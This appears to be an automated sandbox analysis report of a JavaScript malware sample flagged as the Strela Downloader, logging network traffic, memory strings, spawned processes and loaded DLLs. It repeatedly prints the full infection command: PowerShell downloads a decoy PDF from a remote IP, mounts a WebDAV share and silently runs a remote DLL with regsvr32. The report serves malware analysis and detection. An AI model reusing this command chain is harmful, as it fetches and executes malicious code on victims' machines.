Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa

Source: wscript.exe, 00000000.00000003.2059458516.0000018D18A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2109112356.0000025076AC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109764033.0000025076B0C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2108588457.0000025076AE6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2108485785.0000025076B0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109424736.0000025076AE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2108588457.0000025076AE6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109424736.0000025076AE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/C
Source: net.exe, 00000007.00000002.2109112356.0000025076AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3355654590.000001B3F1A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2112250390.000001B3F17F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2428, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2906816133204732533.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5616:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hu5fosdu.qtv.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2906816133204732533.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1504 --field-trial-handle=1540,i,12701418644081443886,6818211592196363022,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\208351456610749.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1504 --field-trial-handle=1540,i,12701418644081443886,6818211592196363022,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
